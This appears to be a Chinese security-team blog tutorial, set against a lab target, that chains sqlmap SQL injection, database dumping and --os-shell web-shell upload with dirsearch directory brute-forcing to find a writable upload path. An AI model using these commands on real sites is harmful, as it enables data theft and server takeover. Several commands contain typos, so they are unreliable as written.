sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell

  • A+
所属分类:安全文章

本文首发于FreeBuf→https://www.freebuf.com/sectool/256588.html

sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell

沙漏安全团队

欢迎真正热爱技术的你!

SQLMAP

sqlmap是一个开源渗透测试工具, 它可以自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。

安装

windows
1、安装python(2.x或3.x版本)
https://www.python.org/downloads/
2、下载sq|map并解压
http://sqlmap.org/
3、在sqlmap路径下打开cmd, python sqlmap.py即可运行
linux
1、kali系统自带
2、git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap -dev
常用命令:
1、sqlmap.py -u "url" 检测目标url是否存在注入
2、sqlmap -u "url" --dbs 爆出所有数据库信息
3、sqlmap -u "url" --current-db爆出当前数据库信息
4、sqlmap -u "url" -D Database_ name -tables 列出指定库名的所有表名
5、sq|map -u "url" -D Database_ name -T Table_ name --columns列出指定库名指定表名的所有列名
6、sqlmap -u "url" -D Database_ name -T Table_ name -C columns1,colunms2, columns3 --dump列出指定库名指定表名指定字段的数据

POST注入

1、sqlmap -r /root/aaa.txt --dbs --batch
2、sqlmap -r /root/aa.txt --current-db
3、sqImap -r /root/aaa.txt -D hetianlab --tables
4、sqlmap -r /root/aaa.txt -D hetianlab -T user_ pwd --dump

–os-shell

sqlmap -r /root/aaa.txt -p id –is-dba
sqlmap -r /rootaaa.txt -p id –os-shell
os-shell的执行条件有三个:
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3) GPC为off, php主动转义的功能关闭
当着三个条件都满足的时候,–os-shell命令才执行。

which web application Language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default ) #默认
what do you want to use for writable directory?
[1] common Location(s) ( /var/ww/, /var/www/html, /var /www/htdocs, /usr/Local/ apache2/htdocs,/usr/local/www/data, /var/apache2/htdocs, /var/www/ nginx- default, /srv/www/htdocs’) (default)
[2] custom Location(s) #自定义
[3] custom directory list file
[4] brute force search

话说回来,我们如何知道这个网站是不是root权限呢?

我们可以执行以下两个命令来查看网站当前的用户
sqLmap -u "http://172 .26.2.36/vulnlab/ index . php?id=1" --current -user
current –user查看当前的用户
sqLmap -u "http://172 .26.2.36/vulnlab/ index . php?id=1" --is -dba
指定去查找这个文件是否为dba,dba是databaseadmin,是数据库管理员用户的意思,如果返回值为true,则是root用户
这两个命令都可以🙆‍

查查目录[dirsearch.py]

dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。
dirsearch拥有以下特点:

  • 多线程

  • 可保持连接

  • 支持多种后缀(-e|–extensions asp,php)

  • 生成报告(纯文本,JSON)

  • 启发式检测无效的网页

  • 递归的暴力扫描

  • 支持HTTP代理

  • 用户代理随机化

  • 批量处理

  • 请求延迟

扫描器与字典
字典必须是文本文件,除了使用特殊的%EXT%之外,其余每行都会被处理。
例:

example/
example.%EXT%

使用扩展名“asp”和“aspx”会生成下面的字典:
example/
example.asp
example.aspx

Linux下的使用示例:
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch/
./dirsearch.py -u 目标网址 -e *
https://github.com/maurosoria/dirsearch/archive/master.zip
下载dirsearch-master并解压,将shell位置处于该脚本根目录,由于dirsearch需要python3.x,所以在使用前需要访问python.org下载相应版本的python,最后执行python3 dirsearch.py -u xxxxxx来使用。

-u意为url,添加URL时可以添加他的协议头,但不要添加他的访问目录。
-e指定查找的类型,如 -e dir意为指定查找目录信息,可帮助我们知道哪里可能存在上传的权限。-e php指定PHP语言类型,可以帮助我们查找是否有PHP语言的关键信息泄露。

常见的脚本语言类型有:
ASP
ASPX(ASP.NET)
JSP
PHP
sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell

它是利用爬虫和自带的字典爆破脚本进行的扫描。
如上图的返回值信息,如果是200、403、301这些数值的话,证明它是存在该目录/文件的。
再来观察上图的扫描过程中的结果,出现了一个upload,upload也就是上传,所谓上传,一般情况下我们是对此目录有可写权限的。
那么他的完整路径是什么呢?
根据在学校上学习的Apache服务建站,可以知道该网站如果是部署在Linux系统上,网站的默认根目录是/var/www/html或者是/var/www/。小型网站一般都不会改这个目录,那么upload的完整目录很有可能是/var/www/html/upload/var/www/upload,两个都可以试一下

回到-os shell上

①选择脚本语言选择4-PHP
②我们已经知道路径了,选择2-custom directory list file(自定义路径)
③输入我们知道的路径/var/www/html/upload
sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell
当我们看到shell为os-shell>的时候就代表成功了🎉
我们看到sqlmap给/var/www/html/upload目录里上传了两个PHP文件,tmpuknio.phptmpbepcb.php由于他们两个的存在才拿到了这个权限,那么这两个PHP文件是属于web木马,这些文件的权限也就是php运行的权限,PHP是在Apache服务商运行的,我们可以通过whoami来验证是否正确

sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell
sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell

sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell
sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell

平顶山学院· 沙漏安全团队

       微信号|SLteam666

奋发努力|拼搏向上

   本期编辑|bosounho

本文始发于微信公众号(网络安全攻防训练营):sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: